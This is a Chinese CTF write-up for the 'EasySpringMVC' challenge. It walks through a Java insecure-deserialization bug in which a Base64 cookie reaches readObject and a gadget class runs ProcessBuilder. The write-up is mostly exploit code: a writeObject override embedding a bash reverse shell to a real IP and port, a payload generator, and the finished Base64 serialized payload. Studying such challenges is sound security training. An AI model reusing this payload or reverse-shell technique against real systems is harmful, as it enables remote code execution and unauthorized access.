[V&N2020 公开赛]EasySpringMVC
java审计的流程先走一遍,下载、反编译、审计(不得不说篇幅真是长…)
自己感觉这道题用来了解Java反序列化真是再好不过了
深入了解序列化writeObject、readObject、readResolve
用的是readObject,我们去本地测试一下
import java.io.*;
/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/
public class Java_Test{
public static void main(String args[]) throws Exception {
String obj = "N0Tai1";
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 创建文件读取流
FileInputStream fis = new FileInputStream("aa.ser");
//创建反序列化流,通过反序列化恢复对象obj,以流的方式读取
ObjectInputStream ois = new ObjectInputStream(fis);
//读取一个对象
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
filter中有这么一段内容
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies();
boolean exist = false;
Cookie cookie = null;
if (cookies != null)
for (Cookie c : cookies) {
//遍历cookie
if (c.getName().equals("cinfo")) {
//getName获取cookie的键,若存在cinfo这个键则进入if
exist = true;
cookie = c;
break;
}
}
可以看到filter首先从cookies中找到这个cinfo这个键 ,然后紧接着
if (exist) {
String b64 = cookie.getValue();
//获取了这个键的值
Base64.Decoder decoder = Base64.getDecoder();
byte[] bytes = decoder.decode(b64);
//对值进行base64解码
ClientInfo cinfo = null;
if (b64.equals("") || bytes == null) {
//b64或者bytes为空时进入
cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
Base64.Encoder encoder = Base64.getEncoder();
try {
bytes = Tools.create(cinfo);
} catch (Exception e) {
e.printStackTrace();
}
cookie.setValue(encoder.encodeToString(bytes));
} else {
try {
cinfo = (ClientInfo)Tools.parse(bytes);
//调用Tools的parse方法,并且直接传入bytes
} catch (Exception e) {
e.printStackTrace();
}
}
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
}
cinfo存在的话就进入else语句,然后这里直接调用了 Tools.parse ,并且直接传值,这里注意,cinfo是完全可控且无过滤的,然后直接去看Tools
package com.tools;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Tools implements Serializable {
//定义了一个Tools类来实现序列化接口
private static final long serialVersionUID = 1L;
private String testCall;
//定义一个私有变量testCall
public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
//对传入的值执行进行的反序列化操作
}
public static byte[] create(Object obj) throws Exception {
//定义一个create方法
ByteArrayOutputStream bos = new ByteArrayOutputStream();
//创建一个下面的构造方法创建一个32字节(默认大小)的缓冲区
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
//写入序列化内容
return bos.toByteArray();
//将字节流变成数组
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])obj)).start();
//命令执行,进行反序列化操作的时候会直接调用这个readObject方法
}
}
tools直接对传入的值进行了反序列化,这里对cookie中传入的cinfo的反序列化是无任何过滤的,并且当前这个类正好有一个命令执行,当parse这个方法进行反序列化的直接,就会直接调用当前这个类的readObject方法,然后读到的obj就会强制转成string,然后实现命令执行
我们直接在tools中重写一个writeObject把反弹shell的命令塞进去
private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
String command[]={"bash","-c","bash -i>& /dev/tcp/8.141.49.228/1889 0>&1"};
out.writeObject(command);
}
生成payload
package com.tools;
import java.io.*;
import java.util.Base64;
import com.tools.*;
public class App {
public static void main(String[] args) {
Base64.Encoder encoder = Base64.getEncoder();
try {
Tools cinfo = new Tools();
byte[] bytes = Tools.create(cinfo);
String payload = encoder.encodeToString(bytes);
System.out.println(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
private String testCall;
public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])obj)).start();
}
private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
String command[]={"bash","-c","bash -i>& /dev/tcp/8.141.49.228/1889 0>&1"};
out.writeObject(command);
}
}
rO0ABXNyAA9jb20udG9vbHMuVG9vbHMAAAAAAAAAAQMAAUwACHRlc3RDYWxsdAASTGphdmEvbGFuZy9TdHJpbmc7eHB1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAADdAAEYmFzaHQAAi1jdAApYmFzaCAtaT4mIC9kZXYvdGNwLzguMTQxLjQ5LjIyOC8xODg5IDA+JjF4
/readflag就可以拿到flag了
版权声明:本文为lllffg原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。